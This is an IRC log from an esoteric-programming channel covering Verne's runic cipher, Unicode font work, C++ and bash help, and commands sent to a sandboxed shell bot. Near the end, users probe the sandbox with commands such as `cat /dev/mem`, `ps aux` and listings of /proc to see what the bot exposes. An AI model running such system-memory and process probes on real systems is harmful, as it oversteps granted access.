ᛆᛏᛏᛁᚿgᛅᛋ. ᚴᚮᚦ ᚠᛅᚴᛁ. ᛆᛦᚿᛅ ᛋᛆᚴᚿᚢᛋᛋᛅᛯ 19:08:22 I've run into problems with the unicode encoding of the symbols. 19:08:29 Questions: are two different looking runes used for c/k are different characters, is ᛯ the right encoding for the mm, what is the encoding for the g rune, the comma, and the dot (those might not even be real runes), is the strange shape for the a in the "attinges" is significant, how to encode the d rune for which I used ᚦ here? 19:08:38 And the expert level question is: identify all the typos that I made, as opposed to those already in the Verne book. (Two I noticed in the verne book are "Snefflls" instead of "Sneffels" (or "Snæfells", former is latin, latter is norse; and "te terrestre" instead of "et terrestre"); and identify all the typos the book made but I didn't replicate. 19:08:49 See the ciphered runes in fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_2 , a transcription to the latin script in fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_3 , and the solution in fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_5 19:10:41 \oren\: and if the g rune (and possibly the d rune, the mm rune, and the variant c rune) isn't yet encoded in unicode, then consider add them to your font as private use characters. 19:20:27 -!- hwpplayer1 has quit (Quit: Leaving.). 19:21:34 -!- Frooxius has quit (Read error: Connection reset by peer). 19:22:01 \oren\: or you can take a break with this one and make a bigger grid font 19:23:04 <\oren\> I'll add these runes to the PUA 19:23:28 \oren\: be careful, they could be just more stupid mistakes Verne made 19:23:49 or they could be already in unicode somewhere 19:25:04 <\oren\> I don't see any reference to them. They added fake runes that Tolkien invented though 19:25:15 yep 19:28:20 \oren\: but Tolkien has every authority to create new runes. Verne doesn't, especially not in a book where he makes at least two trivial typos in the inscription. 19:28:39 <\oren\> he seems to use both ᛉ and ᛯ for m 19:29:03 \oren\: no, the second is used for "mm", and Professor Lindenbrock mentions this explicitly 19:29:23 <\oren\> i see. 19:29:32 \oren\: it's used only in Saknussemm's name, and the Professor uses that character to date the inscription before dating it, because he believes that character is only in a later version of the rune alphabet 19:29:46 and he transcribes it as mm 19:31:06 \oren\: as in, the letter is found in a book written in runes, but those runes don't have that letter, according to the text: 19:31:22 chapter 3 says “es deux écritures ne sont pas de la même main, dit-il ; le cryptogramme est postérieur au livre, et j’en vois tout d’abord une preuve irréfragable. En effet, la première lettre est une double M qu’on chercherait vainement dans le livre de Turleson, car elle ne fut ajoutée à l’alphabet islandais qu’au quatorzième siècle. Ainsi donc, il y a au moins deux cents ans entre le manuscrit et le document.” 19:31:42 (the original book is identified in chapter 2) 19:32:45 <\oren\> I see. 19:35:03 -!- Frooxius has joined. 19:36:38 oh, and 19:37:04 I don't know if this matters, but http://www.gutenberg.org/files/18857/18857-h/18857-h.htm is another copy of the novel, so it may be worth to investigate it too 19:37:07 it has the runes as images 19:38:43 and there's http://www.gutenberg.org/cache/epub/4791/pg4791-images.html too 19:39:39 that latter doesn't have images of the runes though 19:40:54 but the image in http://www.gutenberg.org/files/18857/18857-h/18857-h.htm looks like a worse version of the one in https://fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_2 19:46:58 -!- augur has quit (Remote host closed the connection). 19:47:47 -!- lambda-11235 has quit (Ping timeout: 260 seconds). 19:51:59 -!- lambda-11235 has joined. 19:52:15 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds). 19:53:06 -!- Phantom_Hoover has joined. 20:18:00 -!- lambda-11235 has quit (Ping timeout: 260 seconds). 20:21:52 -!- Akaibu has joined. 20:25:14 -!- lambda-11235 has joined. 20:50:25 -!- piR has joined. 20:50:41 SupayrPoney: coucou 20:52:09 hmmm 20:52:12 `welcome piR 20:52:59 piR: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 20:54:41 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 20:56:54 -!- Phantom_Hoover has joined. 21:08:06 [wiki] [[Special:Log/newusers]] create * Jacek Michalak * New user account 21:10:05 [wiki] [[COBOL]] https://esolangs.org/w/index.php?diff=47122&oldid=34529 * Jacek Michalak * (+42) /* External resources */ 21:17:18 -!- augur has joined. 21:27:19 -!- iTitou has joined. 21:43:28 [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47123&oldid=30833 * Jacek Michalak * (-300) /* External resources */ 21:56:33 [wiki] [[Ziim]] https://esolangs.org/w/index.php?diff=47124&oldid=45017 * Jacek Michalak * (+39) /* Interpreter */ 22:00:14 -!- piR has left. 22:05:05 sfml likes to mess with me >_> 22:05:17 same with codeblocks 22:06:05 -!- Melvar has quit (Quit: thunderstorm). 22:08:07 -!- lambda-11235 has quit (Quit: Bye). 22:12:19 I have played thewit.nes and cannot quite figure out how the green/purple mark on walls is doing. I might try again to see if I can figure out, but someone else who completed this game also said he nevertheless cannot quite figure how it is working, despite winning the game. 22:13:13 -!- dnm has joined. 22:15:01 fizzie? 22:15:26 wait nvm 22:15:36 [wiki] [[YABALL]] https://esolangs.org/w/index.php?diff=47125&oldid=8000 * Jacek Michalak * (+42) /* External resources */ 22:18:26 <\oren\> I have now uploaded the new version 22:19:31 <\oren\> `u8tbl 0x13a0 0x13f5 22:20:01 ​ᎠᎡᎢᎣᎤᎥᎦᎧᎨᎩᎪᎫᎬᎭᎮᎯ \ ᎰᎱᎲᎳᎴᎵᎶᎷᎸᎹᎺᎻᎼᎽᎾᎿ \ ᏀᏁᏂᏃᏄᏅᏆᏇᏈᏉᏊᏋᏌᏍᏎᏏ \ ᏐᏑᏒᏓᏔᏕᏖᏗᏘᏙᏚᏛᏜᏝᏞᏟ \ ᏠᏡᏢᏣᏤᏥᏦᏧᏨᏩᏪᏫᏬᏭᏮᏯ \ ᏰᏱᏲᏳᏴᏵ 22:20:11 <\oren\> it includes the cherokee syllabary 22:20:29 Aww, man. 22:20:39 How am I gonna process that with SNOBOL? ;] 22:21:42 I don't think I have an implementation that can handle that much Unicode. 22:23:51 `relcome dnm 22:24:04 ​dnm: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 22:24:34 <\oren\> `u8tbl 0x1da8 0x1db2 22:24:36 ​ᶨᶩᶪᶫᶬᶭᶮᶯ \ ᶰᶱᶲ 22:24:37 Hey shachaf 22:24:57 <\oren\> `u8tbl 0x2e00 0x2e42 22:24:58 ​⸀⸁⸂⸃⸄⸅⸆⸇⸈⸉⸊⸋⸌⸍⸎⸏ \ ⸐⸑⸒⸓⸔⸕⸖⸗⸘⸙⸚⸛⸜⸝⸞⸟ \ ⸠⸡⸢⸣⸤⸥⸦⸧⸨⸩⸪⸫⸬⸭⸮ⸯ \ ⸰⸱⸲⸳⸴⸵⸶⸷⸸⸹⸺⸻⸼⸽⸾⸿ \ ⹀⹁⹂ 22:25:04 g'dnm 22:30:32 -!- moon_ has quit (Ping timeout: 250 seconds). 22:30:45 <\oren\> `u8tbl 0x302a 0x302f 22:30:46 ​〪〭〮〯〫〬 22:30:56 <\oren\> uhhh 22:31:26 <\oren\> oh, right those are combiners rrgh 22:31:46 <\oren\> `u8tbl 0x3031 0x3035 22:31:47 ​〱〲〳〴〵 22:32:46 <\oren\> `u8tbl 0x3038 0x303B 22:32:48 ​〸〹〺〻 22:34:32 <\oren\> and I added three vernian runes  22:35:36 <\oren\> those are g, d, and k 22:36:32 -!- Melvar has joined. 22:41:34 -!- idris-bot has joined. 22:41:38 vernian? 22:42:41 It should be easy to make it to handle UTF-8. To skip a UTF-8 character, you can skip the next byte and also any contiguous following bytes that are in range 0x80 to 0xBF. 22:43:21 But what if you have an invalid UTF-8 sequence? 22:44:42 -!- AnotherTest has joined. 22:44:51 shachaf: Of course it won't handle that. If you need to handle invalid UTF-8 sequences (and possibly also overlong and invalid Unicode codepoints) then it would be more complicated to do. 22:45:09 (UTCE is even simpler to handle: To skip a UTCE character, skip the next byte; if that byte has the high bit set, also skip the next byte after that (ignore the value of the second byte).) 22:46:04 shachaf: that's still the correct approach, since you synchronize up to the next (purported) start of a character, which is the next byte without the high bit set 22:46:34 Maybe the correct approach if you see 5 continuation bytes in a row is to exit with an error. 22:47:07 It depends if you want to care what it is or not, I suppose, and if you care whether or not it is valid. 22:48:48 shachaf: perhaps the correct approach if you see two leading bytes in a row is to use an exploit in the display driver to launch a DDOS of Freenode. 22:49:01 I'm assuming that what you're just trying to do is recover from an invalid character sequence 22:49:02 <\oren\> dnm: b_jonas asked me to encode in the PUA of my font some nonstandard characters Jules Verne used in a runic inscription in "journey to the centre of the earth" 22:50:05 I have defined in the runic area of UTCE a single nonstandard rune, although I do not know if that rune is used by Jules Verne or not. 22:51:08 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:51:18 \oren\: Ah, hah! 22:51:55 <\oren\> I also include  (for non-breaking snakes) 22:52:11 Snake mode: engaged. 22:52:57 snack mode 22:53:21 ...non-breaking snakes? 22:53:25 XKCD mode? 22:53:39 <\oren\> yup 22:54:31 <\oren\>  22:54:50 -!- moon_ has joined. 22:55:19 Cf.: https://www.youtube.com/watch?v=EuXI6-vOaFk 23:03:09 -!- gamemanj has quit (Ping timeout: 244 seconds). 23:05:43 -!- copumpkin has joined. 23:09:20 ... 23:09:27 i needed to talk to gamemanj >_> 23:10:58 i misread that as "i needed to taöl german" 23:11:03 *talk 23:11:33 lol 23:14:05 [wiki] [[++brainfuck++]] M https://esolangs.org/w/index.php?diff=47126&oldid=47093 * IAM * (+5) 23:19:49 can hackego's internal compiler compile C++0x? 23:26:44 only one way to know 23:31:17 If it is a sufficiently new version of gcc then maybe it can; I don't know. You can try to check what version it has, and/or you can try to put a C++0x code in and see if it works. 23:31:50 <\oren\> `` gcc -v 23:32:00 Using built-in specs. \ COLLECT_GCC=gcc \ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapper \ Target: x86_64-linux-gnu \ Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 23:34:33 Would you know what is wrong with ff-dntsc.c? 23:35:53 gamemanj said it would be nice for a single line game for hackego, so i decided to make one for fun :P 23:36:14 What game is that? 23:37:56 simple number game where you have to add together numbers in a array or add more to the array, you get to add or remove a number every 6 moves 23:38:06 im using a save file to hold that info 23:38:53 you win once a number in the array is equal to 999 or higher 23:39:24 `` g++ -std=c++0x -x c++ - -E -P < /dev/null 23:39:39 No output. 23:40:29 yay 23:41:20 anyways, codeblocks wont let me use siol (string to integer) 23:41:51 so i need a function to do it >_> 23:44:11 -!- oerjan has joined. 23:45:24 oerjan, is there a way to convert a string to a number without using stoi? 23:45:30 my system wont let me use it. 23:45:45 sscanf? 23:45:47 -!- xkapastel has quit (Quit: Connection closed for inactivity). 23:45:56 in C++ 23:46:02 i don't know C++ 23:46:06 )= 23:46:30 although it's a superset, so you probably can get sscanf? 23:46:39 (of C) 23:47:25 yea, but i need it from a processed string 23:47:28 not direct input 23:47:44 sscanf takes a string 23:48:05 note two s'es 23:48:20 -!- ais523 has joined. 23:48:44 kk 23:49:47 it's also not _that_ hard to write by hand. 23:50:11 i guess it depends on how strict the string format is. and if you have negative numbers. 23:50:27 *whether 23:50:47 (stoi, that is) 23:51:04 oh and the C function is atoi 23:52:04 codeblocks has problems with both >_> 23:52:17 i don't know codeblocks either 23:52:23 codeblocks is a ide 23:52:28 for C and C++ 23:52:42 you need to include the right header, of course. 23:53:25 ik, i am 23:53:36 codeblock's builtin mingw compiler has yet to be fixed 23:53:55 so basically it's all broken? 23:54:14 C:\Users\Braden\Desktop\Desktop\hackventure\main.cpp|28|error: incompatible types in assignment of 'char*' to 'char* [(((sizetype)(((ssizetype)argc) + -1)) + 1)]'| 23:54:18 this makes no sense 23:54:40 char* can definitely not be converted to char* *sarcasm* 23:55:02 the thing on the right is an array of char* 23:55:30 oh. 23:55:33 nvm then 23:56:42 is it argv? looks like that's its size 23:57:30 mhm 23:57:34 im trying >_> 23:57:52 might as well use cin instead 23:58:45 actually, this might be many times easier in bash. 23:59:52 maybe you're giving it arguments in the wrong order? 2016-06-05: 00:00:17 because assigning to argv isn't that common 00:00:29 no 00:00:42 IF YOU SAY SO 00:00:53 im assigning a var t- discworld? really :P 00:02:57 * oerjan gets a http://www.chiark.greenend.org.uk/~sgtatham/bugs.html vibe 00:03:53 (translation: you're not giving any information that could actually tell me why you are failing) 00:04:47 But you're a mind-reader, aren't you? 00:05:21 more like mind-flayer. BRAINS. 00:06:41 is there a good way to use sed to replace | with (space)? it doesnt wana 00:07:02 I think that's NP-hard. 00:07:16 like how? 00:07:28 * oerjan mourns the probable death of Mr. Izquxxisquid 00:07:40 infact, is ther a good way to replace | with (space) in th first plac? 00:07:51 moon_: s/[|]/ / 00:09:12 probably with a g at the end? unless you only want to replace one | per line 00:09:35 ya, with th g :P 00:09:36 well he didn't specify so i left it out. 00:10:00 (exercise for the reader etc. etc.) 00:10:14 now i jst need to seperate each number into the approprite variables 00:10:50 and im lost again xD 00:10:56 i am terrible with bash 00:12:29 -!- ais523 has quit (Read error: Connection reset by peer). 00:12:36 -!- ais523 has joined. 00:13:20 newer versions of bash support arrays, i wonder if hackego does 00:13:55 `` bash --version 00:13:57 GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu) \ Copyright (C) 2011 Free Software Foundation, Inc. \ License GPLv3+: GNU GPL version 3 or later \ \ This is free software; you are free to change and redistribute it. \ There is NO WARRANTY, to the extent permitted by law. 00:14:12 `` which zsh 00:14:13 hth 00:14:14 No output. 00:14:33 `` num[10]={ zero one two} 00:14:38 `` which zsh; echo $? 00:14:47 `` num[10]={ zero one two } 00:15:05 hackegolagged up again >_> 00:15:31 ​/hackenv/bin/`: line 4: zero: command not found 00:16:05 )= 00:16:10 ​/hackenv/bin/`: line 4: zero: command not found 00:16:11 1 00:16:19 `spam 00:16:21 3/2: 00:16:29 Oh, right. 00:16:30 `5 00:16:35 1/3:117) GOODBAD! Your watered down brand of evil conflicts with my botched attempts at dogoodery! \ 362) as i was filled with zzo38 mystery at the moment i saw quintopia: I am at Canada. \ 984) hm hitler probably did one thing that I like too he banned tubas, I guess I am neutral on 00:16:38 `spam 00:16:39 2/3:tubas oh! he killed hitler oh yeah, there we go thanks Fiora he also killed the guy who killed hitler \ 558) l;le;ler;le;lr;e;ler;ler;le;lerr;le;le;erle;e;rler;lere;er;lerrelrrerererlanggt \ 333) Sgeo: also do you know how to write a parser monqy, how hard could it be 00:16:41 `spam 00:16:43 3/3:? \ 00:17:16 `` for i in `seq 1 40`; do echo -n .123456789; done 00:17:18 ​.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456 00:17:34 is there some hidden charm to 558 00:18:12 hm as i suspected, the 350 includes the zwsp 00:18:23 `` for i in `seq 1 40`; do echo -n 0123456789; done 00:18:24 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 00:18:42 you can do that in fewer keystrokes 00:18:43 Good thing I went with 330. 00:18:45 `` for i in `seq 1 40`; do echo -n '<'123456789; done 00:18:48 ​<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456 00:18:56 `` for i in {1..40}; do printf "%02d-3456789" i; done 00:18:57 ​/hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: 00:18:58 `` for i in {1..40}; do echo -n 0123456789; done 00:19:00 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 00:19:03 `` for i in {1..40}; do printf "%02d-3456789" $i; done 00:19:04 01-345678902-345678903-345678904-345678905-345678906-345678907-345678908-345678909-345678910-345678911-345678912-345678913-345678914-345678915-345678916-345678917-345678918-345678919-345678920-345678921-345678922-345678923-345678924-345678925-345678926-345678927-345678928-345678929-345678930-345678931-345678932-345678933-345678934-345678935-3456789 00:19:18 `` for i in {1..40}; do printf "%02d>345678<" $i; done 00:19:19 it's like you think i'm golfing or something. 00:19:26 what is the goal? 00:19:31 what are you trying to golf? 00:19:39 No one is golfing anything except for you. 00:19:54 `tr 00:19:57 01>345678<02>345678<03>345678<04>345678<05>345678<06>345678<07>345678<08>345678<09>345678<10>345678<11>345678<12>345678<13>345678<14>345678<15>345678<16>345678<17>345678<18>345678<19>345678<20>345678<21>345678<22>345678<23>345678<24>345678<25>345678<26>345678<27>345678<28>345678<29>345678<30>345678<31>345678<32>345678<33>345678<34>345678<35>345678< 00:19:58 tr: missing operand \ Try `tr --help' for more information. 00:19:59 Elronnd: i'm trying to determine HackEgo's output cutoff rules 00:20:08 using shell ranges is probably more optimized, too 00:20:33 oerjan: cutoff for what? 00:20:35 output size? 00:20:42 is there a good way to get a random number that is 1 through 10? 00:21:05 moon_: random(6)? 00:21:15 oh, kk. im a bash idiot 00:21:25 `` for i in {1..1500}; do printf $i; done 00:21:26 12345678910111111111213141516171819202122222222232425262728293031323333333435363738394041424344444444454647484950515253545555556575859606162636465666666667686970717273747576777778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142 00:21:29 Elronnd: that produces a random number in the range 1 to 10? 00:21:31 oerjan: ^ 00:21:43 ais523: random, the unix command 00:21:46 (6), games 00:21:55 ah right 00:23:17 `delquote 558 00:23:22 ​*poof* l;le;ler;le;lr;e;ler;ler;le;lerr;le;le;erle;e;rler;lere;er;lerrelrrerererlanggt 00:23:27 -!- iTitou has left. 00:23:37 elliott would probably revert that but I don't understand the significance. 00:23:45 Elronnd: i already solved the problem, it's more subtle than that, and your output is not very good at giving the information anyway hth 00:23:59 `` hog quotes | grep lerrelrre 00:24:05 No output. 00:24:20 I guess it's a nitia quote. 00:24:38 `5 00:24:40 1/3:1255) izabera: It's sort of like the principal, as far as I know. Except It only prints " BOTTLES OF BEER ON THE WALL!" Counting down from 99 to 0. With no line breaks. \ 872) That's the problem with Tumblr All the porn titles are taken by non-porn people \ 726) the 00:24:42 `spam 00:24:43 2/3:re was a time when I liked wearing a tie too.. I was a mormon. not claiming one has to be a religious nutcase to wear a tie, of course \ 505) elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standard 00:24:45 `spam 00:24:46 3/3:s! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 940) a comathmatician is a device for turning cotheorems into ffee \ 00:25:06 i just need to split up a string by |'s now 00:25:12 then i can write the main mechanics 00:25:22 shachaf: i don't feel `spam output counts as the 5 quote process but then i don't understand 558 either (something involving race conditions?) 00:25:31 oerjan: Why not? 00:25:34 `cat bin/5 00:25:36 for i in {1..5}; do quote; done | sport 00:26:07 shachaf: because the output is so noisy that i don't bother to read it. 00:26:28 Well, it's less noisy than `quote`quote`quote`quote`quote. 00:26:33 At least in terms of vertical space. 00:26:55 I guess `5 could use spore instead of sport, but then you don't save any lines. 00:27:56 `delquote 940 00:27:59 ​*poof* a comathmatician is a device for turning cotheorems into ffee 00:28:14 Hmm, maybe 1255 would've been better. 00:28:15 I don't know. 00:28:17 Everything is bad. 00:28:19 -!- shachaf has left. 00:34:26 -!- hppavilion[1] has joined. 00:38:27 hi hppavilion[1] 00:38:34 helloon_ 00:38:53 moon_: I think you're the first person to show up on #esoteric since I joined who has really stuck around 00:38:55 how can i commend shachaf on his `? predictate definition when he's not here :( 00:39:04 heh 00:39:08 `ccommend shachaf 00:39:09 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ccommend: not found 00:39:14 `commend shachaf 00:39:16 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: commend: not found 00:39:34 oerjan: Can HackEgo commands detect who invoked them? 00:40:00 hppavilion[1]: we haven't found a way, alas 00:40:02 (I have developed a habit of hitting in the middle of words to expand them, forgetting that they aren't names and thus could not possibly be tab-completed) 00:40:20 it seems the information just isn't in the sandbox. 00:40:22 gg 00:40:37 also, installed openbsd on a subsystem 00:40:44 `` ps aux | grep oerjan 00:40:46 50000 288 11.0 0.2 4180 620 ? S 23:40 0:00 sh -c 'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' '`' 'ps aux | grep oerjan' | cat \ 5000 291 32.0 0.6 19140 1600 ? 00:41:00 but it keeps running out of space just to unpack ports.tar.gz on a 8 gb disk 00:41:01 `` printenv | grep oerjan 00:41:02 No output. 00:41:07 ports is only 40-50mb 00:41:08 no trace of it 00:41:59 whats going on? 00:42:29 `` ls proc 00:42:33 ls: cannot access proc: No such file or directory 00:42:35 `` ls /proc 00:42:36 1 \ 10 \ 2 \ 281 \ 285 \ 286 \ 287 \ 288 \ 289 \ 290 \ 291 \ 292 \ 293 \ 294 \ 295 \ 296 \ 3 \ 4 \ 47 \ 49 \ 5 \ 51 \ 6 \ 68 \ 7 \ 76 \ 77 \ 8 \ 9 \ buddyinfo \ bus \ cgroups \ cmdline \ config.gz \ consoles \ cpuinfo \ crypto \ devices \ diskstats \ driver \ execdomains \ exitcode \ filesystems \ fs \ interrupts \ iomem \ ioports \ irq \ kallsyms 00:43:00 `` grep oerjan | /proc/mem 00:43:21 too many pipes 00:43:29 oops 00:43:31 ​/hackenv/bin/`: line 4: /proc/mem: No such file or directory 00:43:33 :P 00:43:39 `` grep oerjan /proc/mem 00:43:40 grep: /proc/mem: No such file or directory 00:43:44 ...well 00:44:01 accessing dev/mem is prohibited i beleive 00:44:05 `` ls /proc/*mem* 00:44:08 ​/proc/iomem \ /proc/meminfo 00:44:19 PERHAPS 00:44:32 `echo /dev/mem 00:44:33 ​/dev/mem 00:44:40 `cat /dev/mem 00:44:43 cat: /dev/mem: Permission denied 00:47:25 oerjan: That is pretty annoying 00:47:30 oerjan: You'd think that... 00:47:31 `help 00:47:32 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 00:47:36 `credits 00:47:38 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: credits: not found 00:48:01 ...GregorR would have thought to include that 00:48:06 you would. 00:48:16 but he didn't. 00:48:26 btw he's dropped the R. 00:48:32 Oh 00:48:39 oerjan: His bitbucket still has it 00:48:45 ok 00:48:52 So when discussing that, I shall include the R 00:48:57 not that he's coming here any longer. 00:49:02 Of course 00:49:23 being all snotty professory and stuff 00:49:30 Huh 00:49:41 SMBC's setup for comic searching is really quite shit 00:50:05 it cannot possibly be worse than Drive's hth 00:50:24 oerjan: Drive's? 00:50:37 Drive, the scifi comic. 00:50:41 Ah 00:51:13 oerjan: The "random" button's target is determined serverside when the page is loaded; so if you open "random" in a new tab twice from the same page without reloading, you will get the same comic both times 00:51:53 And I just discovered that the "go to most recent" button is actually calculated; so if you have a page open and a new SMBC is added and you click the "most recent" button after, it will actually go to the one that was most recent when the page was loaded 00:52:00 Instead of just going to the main comic page 00:53:45 The proper way to go to a random comic is to have an intermediate page that forms a redirect to a random comic; the "random" button simply links to its URL 00:54:08 And the proper way to go to the most recent comic is to link to the main comic page, which generally includes the most recent comic by default 00:55:47 `cat /dev/null 00:55:48 No output. 00:55:51 Hm... 00:56:51 Maybe we should hack `cat so when it's called on /dev/null it prints "And if thou gaze long into an abyss, the abyss will also gaze into thee." 00:58:01 that'd be neat 00:58:07 can we do it? 00:58:14 like is there a way? 00:58:22 but `cat should produce an empty output on /dev/null 00:59:12 `cat output 00:59:13 No output. 00:59:19 its lieing 00:59:21 ais523: Why? 00:59:31 `url output 00:59:32 ais523: Would things break if it did not? 00:59:34 hppavilion[1]: because /dev/null reads as an empty file 00:59:35 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/output 00:59:46 ais523: Yes, but we'd hack `cat to special-case /dev/null 00:59:47 cat's job is to, among other things, recreate the contents of files 01:00:11 hppavilion[1]: then "cat | command" can act differently from "command" 01:00:12 it certainly _could_ break things. whether it actually will... 01:00:24 -!- xkapastel has joined. 01:00:25 I can certainly imagine programs that break as a result of the identity function not being an identity 01:00:33 oerjan: Eh, this is #esoteric. Do we really have anything that isn't broken? 01:00:41 lol 01:00:46 fungot: are you broken 01:00:46 oerjan: and " current" just corresponds to the equations a k*b, b k*(a b) implies b fnord b) and 1 is slightly faster ( less slow). ( 3) 01:00:56 ais523: Yes, but do any programs use cat /dev/null as the identity function? 01:01:18 Ah, the fnord connective. 01:01:32 hppavilion[1]: well, say we want to recreate combinatory logic in bash 01:01:42 (there doesn't have to be a reason for this, this is #esoteric) 01:01:42 ais523: Why would we do that? 01:01:47 Oh, right 01:02:00 ais523: We'd just use the actual `cat, which would be hidden somewhere else 01:02:27 `` rgrep null bin 01:02:33 bin/quote: if expr "$1" + 0 >/dev/null 2>&1; then \ bin/echo-p:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null \ Binary file bin/ploki matches \ Binary file bin/udcli matches \ bin/google:lynx --cfg=/dev/null --lss=/dev/null \ \ Binary file bin/emmental matches \ bin/roll: if expr "$i" : ".*[dD].*" >& /dev/null \ bin/delquote:e 01:02:48 what does --lss do? 01:03:12 `` rgrep null bin | sport 01:03:16 1/5:bin/quote: if expr "$1" + 0 >/dev/null 2>&1; then \ bin/echo-p:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null \ Binary file bin/ploki matches \ Binary file bin/udcli matches \ bin/google:lynx --cfg=/dev/null --lss=/dev/null \ \ Binary file bin/emmental matches \ bin/roll: if expr "$i" : ".*[dD].*" >& /dev/n 01:03:19 `spam 01:03:21 2/5:ull \ bin/delquote:expr "$1" + 0 >/dev/null 2>&1 || exit 1 \ bin/delquote:diff quotes quotes.new >/dev/null && exit 1 \ Binary file bin/luac matches \ bin/etymology:lynx --cfg=/dev/null --lss=/dev/null \ \ bin/rm-p:rm "$1"; rmdir -p "$(dirname "$1")" 2>/dev/null \ Binary file bin/macro matches \ Binary file bin/jq matches \ bin/ 01:03:46 I take it that `sport outputs the first line of a multiline command, and `spam returns subsequent lines? 01:03:48 `spam 01:03:50 3/5:forth:exec gforth -e "$* bye" /dev/null # Save making a file when it already exists. \ bin/runc:echo -e "$@" | gcc -trigraphs -o $t -x c - 2>/dev/null && $t \ bin/pastelog: if expr "$1" + 0 01:04:09 ais523: actually it's not quite line-based (yet, anyway) 01:04:23 `spam 01:04:24 4/5:>/dev/null 2>&1; then \ Binary file bin/lua matches \ Binary file bin/tclkit matches \ bin/quotes: if expr "$1" + 0 >/dev/null 2>&1; then \ bin/translatefromto: --data-urlencode langpair="$FROM"'|'"$TO" 2> /dev/null | \ bin/ls:if /bin/ls -id "$@" 2>/dev/null | grep -q ^"$(/bin/ls -id /hackenv/wisdom | cut -d\ -f 1)" 01:04:33 `spam 01:04:34 5/5:; then echo 'As the wisdom directory contains many files named after nicks, listing it in public annoys people. Try listing it in private instead.'; else exec -a ls /bin/ls "$@"; fi \ Binary file bin/units matches \ 01:04:36 oerjan: first output line 01:04:58 well i see no obvious uses of cat /dev/null, although who knows what lynx does internally... 01:05:29 (mind you the web proxy is probably not working anyway 01:05:38 or gforth 01:05:45 if we changed that to cat | gforth itd break 01:05:49 *it'd 01:09:04 ais523: i don't think HackEgo's stdin is /dev/null btw, which i however consider a bug 01:09:18 (it's the reason for some occasional long timeouts) 01:09:21 `` ls -l /proc/self/fd 01:09:23 total 0 \ lr-x------ 1 50000000 327963 64 Jun 5 00:08 0 -> /tty1 \ l-wx------ 1 5000000000 327963 64 Jun 5 00:08 1 -> pipe:[257] \ l-wx------ 1 500000 327963 64 Jun 5 00:08 2 -> /tty1 \ lr-x------ 1 5000000000 327963 64 Jun 5 00:08 3 -> /console \ l-wx------ 1 5000000 327963 64 Jun 5 00:08 4 -> /console \ lr-x------ 1 5000 327963 64 Jun 5 00: 01:09:38 "/tty1"? 01:09:48 `` cat bin/` 01:09:50 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 01:09:53 `` cat bin/\` 01:09:53 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnoooooodl 01:10:39 there are some strange options there, and that pipe made me suspicious 01:10:50 also what's up with FDs 3 and 4? 01:10:52 ais523: anyway that wouldn't break if the modified cat only looked at the argument line 01:11:00 `` echo test 1>&3 01:11:01 ​/hackenv/bin/`: line 